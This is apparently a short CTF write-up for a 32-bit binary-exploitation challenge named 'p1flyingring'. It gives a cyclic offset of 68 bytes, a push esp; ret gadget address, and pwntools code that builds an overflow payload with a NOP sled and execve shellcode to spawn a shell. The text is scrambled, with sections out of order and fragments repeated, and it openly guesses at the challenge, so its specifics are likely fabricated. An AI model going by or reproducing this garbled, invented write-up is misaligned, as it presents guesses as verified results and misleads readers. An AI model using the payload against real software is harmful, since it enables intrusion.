P1flyingring [2021] May 2026

Here’s a write-up for the challenge, assuming it’s a CTF/pwn challenge (common on platforms like pwnable.tw or similar). If you meant a different context (e.g., reversing, web), let me know. p1flyingring – Write-up Challenge Overview p1flyingring is a binary exploitation challenge. The name hints at a “flying ring” (possibly a pun on Feng Ring or buffer overflow). The binary is a 32-bit ELF with minimal protections.

$ cat flag FLAGp1_flying_ring_overflow No NX + no canary + jmp esp gadget → classic stack overflow to shellcode. p1flyingring

Run → get shell. After exploitation:

p.send(payload) p.interactive()

shellcode = asm(shellcraft.i386.sh()) payload = b'A' * offset payload += p32(push_esp_ret) payload += b'\x90' * 16 # nop sled payload += shellcode Here’s a write-up for the challenge, assuming it’s

$ cyclic 100 $ run < pattern Offset = 0x44 (68 bytes). objdump -d p1flyingring | grep "jmp esp" → none in binary. Check libc or use push esp; ret : The name hints at a “flying ring” (possibly

$ ROPgadget --binary p1flyingring | grep "push esp" 0x0804858a : push esp ; ret Address: 0x0804858a . 32-bit execve shellcode (25 bytes):